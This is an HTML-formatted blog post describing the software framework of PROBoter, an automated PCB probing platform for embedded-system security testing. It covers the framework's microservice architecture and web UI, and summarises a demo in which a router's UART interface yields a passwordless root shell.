href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">Automated&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">voltage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">signal&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">protocol&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">identification&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">V:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">software&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">framework&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul>
&lt;h2 id="platform-design-vs-software-architecture">Platform design vs. Software architecture&lt;/h2>
&lt;p>The main design goal of the PROBoter platform is to assist security analysts throughout the whole process of an &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">embedded&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">system&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">penetration&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">test&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
. Right from the beginning, the main focus was the development of a &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">hardware&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">platform&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
that assists an analyst by automating manual electrical probing tasks. This lead to the hardware-centered platform design shown in the image below. Additional services, like &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">visual&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">PCB&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">images&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
or &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04"
class="link-background inline split"
>
&lt;span class="link-label">voltage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04"
class="link-background inline split"
>
&lt;span class="link-label">signal&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04"
class="link-background inline split"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
are grouped around data generated by the PROBoter hardware platform.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-05/proboter_platform_hu1b5a75972f0ddcfd7783a223ddadf462_113151_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-05/proboter_platform_hu1b5a75972f0ddcfd7783a223ddadf462_113151_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-05/proboter_platform_hu1b5a75972f0ddcfd7783a223ddadf462_113151_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-05/proboter_platform.png"
width="1200"
height="733"
alt="PROBoter platform design"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
PROBoter platform design&lt;/figcaption>
&lt;/figure>
&lt;p>While this picture is valid from a functional point of view, the software architecture of the platform was adjusted to address another important issue: We at SCHUTZWERK know that building the PROBoter hardware platform can be quite an adventure. Therefore, we designed the PROBoter software in a way so that as many functionalities as possible can be used even if the hardware platform is not present. This way, analysts can still benefit from the project. For example, you can just use the interactive PCB editor and project management to document your analysis results and speed up your daily work. The resulting software architecture can be seen in the image below.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-05/software_architecture_hu5dff71f579331725827a1c8101e2483a_37264_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-05/software_architecture_hu5dff71f579331725827a1c8101e2483a_37264_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-05/software_architecture_hu5dff71f579331725827a1c8101e2483a_37264_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-05/software_architecture.png"
width="2344"
height="1638"
alt="PROBoter software architecture"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
PROBoter software architecture&lt;/figcaption>
&lt;/figure>
&lt;h2 id="the-individual-building-blocks">The individual building blocks&lt;/h2>
&lt;!-- Technology overview - backend -->
&lt;p>The base of the PROBoter software architecture is formed by a set of microservices written in Python. Each service exposes its functionality via a REST-based API to allow easy integration either in the PROBoter platform as a whole or in customized analysis workflows. Due to its asynchronous and time intensive nature, the hardware control service additionally provides a Websocket-based interface. As unified frontend, we implemented a web-based UI currently designed as Single Page Application (SPA). All backend services use either &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/pallets/flask"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Flask&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
[4] or its &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://docs.python.org/3/library/asyncio.html"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">asyncio&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
[5] equivalent &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/pallets/quart"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Quart&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
[6] as primary web framework. For each service, the REST API is described using &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://swagger.io/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Swagger&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
[7]. All backend services are located behind a reverse proxy so that only a single port must be exposed by the system hosting the PROBoter software framework.&lt;/p>
&lt;!-- Technology overview - frontend -->
&lt;p>The user interface of the PROBoter is implemented as an SPA developed with &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://vuejs.org/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Vue&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
[8] and &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://threejs.org/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">three.js&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
[9] for 3D rendering. Even though currently designed as monolith project, UI elements and API connections have been separated into individual components that might be migrated into the corresponding backend services as Micro Frontends.&lt;/p>
&lt;!-- Compose setup -->
&lt;p>To orchestrate all of the PROBoter&amp;rsquo;s backend services and the frontend, we provide a &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://docs.docker.com/compose/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Docker&lt;/span>
&lt;/a>&lt;a
href="https://docs.docker.com/compose/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Compose&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
[10] setup to configure and start all services with just a few terminal commands. Besides the central data storage service, the other backend microservices can be removed or included depending on your individual needs. For example, if you don&amp;rsquo;t have the PROBoter hardware platform, you can simply remove the hardware control service from the Docker Compose setup and just use the software-only analysis services.&lt;/p>
&lt;!-- Github release -->
&lt;p>The source code of the whole PROBoter software platform is released in the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/schutzwerk/PROBoter"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Github&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">repo&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
under the GPLv3 license, so any contribution, participation and feedback is welcome!&lt;/p>
&lt;h2 id="what-it-looks-like">What it looks like&lt;/h2>
&lt;p>After talking about the software architecture, the following screenshots give an impression of how the PROBoter software platform and especially the web UI looks like.&lt;/p>
&lt;!-- Project overview -->
&lt;p>Projects are managed on a PCB level by an analyst. The respective backend logic is encapsulated in the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/schutzwerk/PROBoter/tree/master/software/project-storage"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">project&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter/tree/master/software/project-storage"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter/tree/master/software/project-storage"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">data&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter/tree/master/software/project-storage"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">storage&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter/tree/master/software/project-storage"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">microservice&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
. The respecitve UI interface is shown in the screenshow below.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-05/project_overview_hu2e9584b752a314600951cbb89f13f7f8_20853_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-05/project_overview_hu2e9584b752a314600951cbb89f13f7f8_20853_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-05/project_overview_hu2e9584b752a314600951cbb89f13f7f8_20853_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-05/project_overview.png"
width="1920"
height="1200"
alt="Listing of exisiting projects in the web UI."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Listing of exisiting projects in the web UI.&lt;/figcaption>
&lt;/figure>
&lt;!-- PCB editor -->
&lt;p>Usually, an analyst will spend most of the time working with the interactive PCB editor while inspecting an unknown PCB. The editor allows to get an overiew of the PCB under test and to manually add analysis results, like located and identified PCB components. The screenshot below shows the PCB editor rendering a live 3D model of the PROBoter hardware during an automated electrical net reversing process.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-05/web_ui_3d_view_hu2c4a20de184dd214c37599ef1b85a63c_149122_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-05/web_ui_3d_view_hu2c4a20de184dd214c37599ef1b85a63c_149122_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-05/web_ui_3d_view_hu2c4a20de184dd214c37599ef1b85a63c_149122_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-05/web_ui_3d_view.png"
width="1200"
height="750"
alt="PCB editor showing a live 3D rendering of the PROBoter hardware during automated probing."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
PCB editor showing a live 3D rendering of the PROBoter hardware during automated probing.&lt;/figcaption>
&lt;/figure>
&lt;!-- Specialized analysis functionality -->
&lt;p>Specialized analysis functions like the one for &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03"
class="link-background inline split"
>
&lt;span class="link-label">visual&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03"
class="link-background inline split"
>
&lt;span class="link-label">PCB&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03"
class="link-background inline split"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
and &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04"
class="link-background inline split"
>
&lt;span class="link-label">voltage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04"
class="link-background inline split"
>
&lt;span class="link-label">signal&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04"
class="link-background inline split"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
is bundled in individual stand-alone services which have been already introduced in previous posts. This functionality is also made accessible directly in the PCB editor to allow a smooth analysis workflow.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-05/pcb_image_analysis_hu7c69df5dbc98d1e8f0d67e08bd35ea83_256490_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-05/pcb_image_analysis_hu7c69df5dbc98d1e8f0d67e08bd35ea83_256490_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-05/pcb_image_analysis_hu7c69df5dbc98d1e8f0d67e08bd35ea83_256490_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-05/pcb_image_analysis.png"
width="1200"
height="750"
alt="Example of the intregation of specialized analysis functionality in the web UI, like in this case automated PCB image analysis."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Example of the intregation of specialized analysis functionality in the web UI, like in this case automated PCB image analysis.&lt;/figcaption>
&lt;/figure>
&lt;!-- Hardware control -->
&lt;p>The interface to the PROBoter hardware is encapsulated in a separate &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/schutzwerk/PROBoter/tree/master/software/hardware-control"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">hardware&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter/tree/master/software/hardware-control"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">control&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
microservice. Besides configuration and low-level control, this service also offers high-level analysis functionality like algorithms for electrical net reversing. This functionality is rarely used directly but is required e.g. for initial calibration and setup of the PROBoter hardware. It is therefore also integrated in the web UI as can be seen below.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-05/web_ui_hardware_control_hu291dd0bc22aff695442225e8034623dd_127859_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-05/web_ui_hardware_control_hu291dd0bc22aff695442225e8034623dd_127859_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-05/web_ui_hardware_control_hu291dd0bc22aff695442225e8034623dd_127859_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-05/web_ui_hardware_control.png"
width="1200"
height="750"
alt="Low-level hardware control of the PROBoter hardware."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Low-level hardware control of the PROBoter hardware.&lt;/figcaption>
&lt;/figure>
&lt;h2 id="showcase">Showcase&lt;/h2>
&lt;p>To demonstrate how all the described pieces fit together, the following video gives an impression of how an analysis workflow of an unknown PCB looks like using the PROBoter platform. It shows the inspection of a popular DSL router&amp;rsquo;s PCB from initial image generation to finally getting a root shell on the device.&lt;/p>
&lt;figure>
&lt;div class="videoOverlay videoOverlayPlay">
&lt;video id="mediavideoPROBoterPROBoter-sample-workflow" class="videoInsert">
&lt;source src="/media/video/PROBoter/PROBoter-sample-workflow.webm" type='video/webm;codecs="vp8, vorbis"'/>
&lt;source src="/media/video/PROBoter/PROBoter-sample-workflow.mp4" type='video/mp4;codecs="avc1.42E01E, mp4a.40.2"'/>
Your browser does not support the video tag.
&lt;/video>
&lt;/div>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
PROBoter: Sample workflow
&lt;/figcaption>
&lt;/figure>
&lt;script>
document.addEventListener("DOMContentLoaded", function() {
const id = "mediavideoPROBoterPROBoter-sample-workflow";
const video = document.getElementById(id);
const videoOverlay = video.parentElement;
const classList = videoOverlay.classList;
let isPaused = true;
videoOverlay.addEventListener("click", () => {
if (video.paused) {
video.play();
isPaused = false;
classList.add("videoOverlayPause");
classList.remove("videoOverlayPlay", "videoOverlayReload")
} else {
isPaused = true;
video.pause();
classList.add("videoOverlayPlay");
classList.remove("videoOverlayPause", "videoOverlayReload")
}
});
video.addEventListener("ended", () => {
isPaused = true;
classList.add("videoOverlayReload");
classList.remove("videoOverlayPause", "videoOverlayPlay")
});
video.addEventListener("seeking", () => {
classList.remove("videoOverlayReload");
if (isPaused) {
classList.add("videoOverlayPlay");
classList.remove("videoOverlayPause");
} else {
classList.add("videoOverlayPause");
classList.remove("videoOverlayPlay");
}
});
});
&lt;/script>
&lt;p>The following analysis tasks are performed in the video:&lt;/p>
&lt;ul>
&lt;li>First of all, a new project for the router&amp;rsquo;s PCB is created.&lt;/li>
&lt;li>An initial image of the PCB under test is created using the low-resolution static camera system of the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">hardware&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/li>
&lt;li>The generated PCB image is analyzed using the &lt;strong>Visual PCB Analysis&lt;/strong> microservice. For pin detection, the TensorFlow-based detector is used with the trained &lt;strong>Faster R-CNN&lt;/strong> model. Pins are located using the implemented computer vision pipeline. More information can be found in the previous blog post about &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">component&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">pin&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">detection&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/li>
&lt;li>A group of test pads are manually created for automated electrical probing in the next step.&lt;/li>
&lt;li>Voltage signals are measured at the previously defined test pad locations with the PROBoter hardware and an attached oscilloscope.&lt;/li>
&lt;li>The following &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">automated&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">recorded&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">voltage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">traces&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
identifies an UART communication interface on the selected test pads.&lt;/li>
&lt;li>After switching the analysis tool of the PROBoter hardware to a USB-to-UART adapter, the test pads are again automatically probed. This time, the probe signals are routed to the digital inputs of the USB-to-UART adapter.&lt;/li>
&lt;li>The embedded, interactive UART shell is used to communicate with the target under test. Because no password is set for the user &lt;em>root&lt;/em>, direct access to the system with highest privileges is granted. This is also verified by the output of the &lt;code>id&lt;/code> command confirming the currently logged-in user is &lt;code>root&lt;/code>.&lt;/li>
&lt;/ul>
&lt;h2 id="next-steps">Next steps&lt;/h2>
&lt;p>The PROBoter platform is still under active development. We are still testing the reliability and usability of the platform in real world projects. Furthermore, we are constantly improving the assisting analysis services both for PCB image data and voltage signals.&lt;/p>
&lt;p>&lt;br/>&lt;br/>
Follow us on &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://twitter.com/Schutzwerk"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Twitter&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.linkedin.com/company/schutzwerk/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">LinkedIn&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.xing.com/companies/schutzwerkgmbh/updates"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Xing&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
to stay up-to-date.&lt;/p>
&lt;h2 id="references--credits">References / Credits&lt;/h2>
&lt;p>[1] &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/schutzwerk/PROBoter"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">GitHub&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">repository&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;br>
[2] &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://doi.org/10.13154/294-8348"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.13154/294-8348"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">paper&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.13154/294-8348"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">DOI:&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.13154/294-8348"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">10.13154/294-8348&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;br>
[3] &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">demo&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">video&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;br>
[4] &lt;a href="https://github.com/pallets/flask">https://github.com/pallets/flask&lt;/a>&lt;br>
[5] &lt;a href="https://docs.python.org/3/library/asyncio.html">https://docs.python.org/3/library/asyncio.html&lt;/a>&lt;br>
[6] &lt;a href="https://github.com/pallets/quart">https://github.com/pallets/quart&lt;/a>&lt;br>
[7] &lt;a href="https://swagger.io/">https://swagger.io/&lt;/a>&lt;br>
[8] &lt;a href="https://vuejs.org/">https://vuejs.org/&lt;/a>&lt;br>
[9] &lt;a href="https://threejs.org/">https://threejs.org/&lt;/a>&lt;br>
[10] &lt;a href="https://docs.docker.com/compose/">https://docs.docker.com/compose/&lt;/a>&lt;/p>
&lt;p>The work was sponsored by the BMBF project &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.secforcars.de/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">SecForCARs&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
and supported by &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.igus.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">igus&lt;/span>
&lt;/a>&lt;a
href="https://www.igus.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">GmbH&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
. It was created at &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/"
class="link-background inline split"
>
&lt;span class="link-label">SCHUTZWERK&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/"
class="link-background inline split"
>
&lt;span class="link-label">GmbH&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
(supervisors Dr. Bastian Könings &amp;amp; Msc. Heiko Ehret) in cooperation with &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.hs-kempten.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Hochschule&lt;/span>
&lt;/a>&lt;a
href="https://www.hs-kempten.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Kempten&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
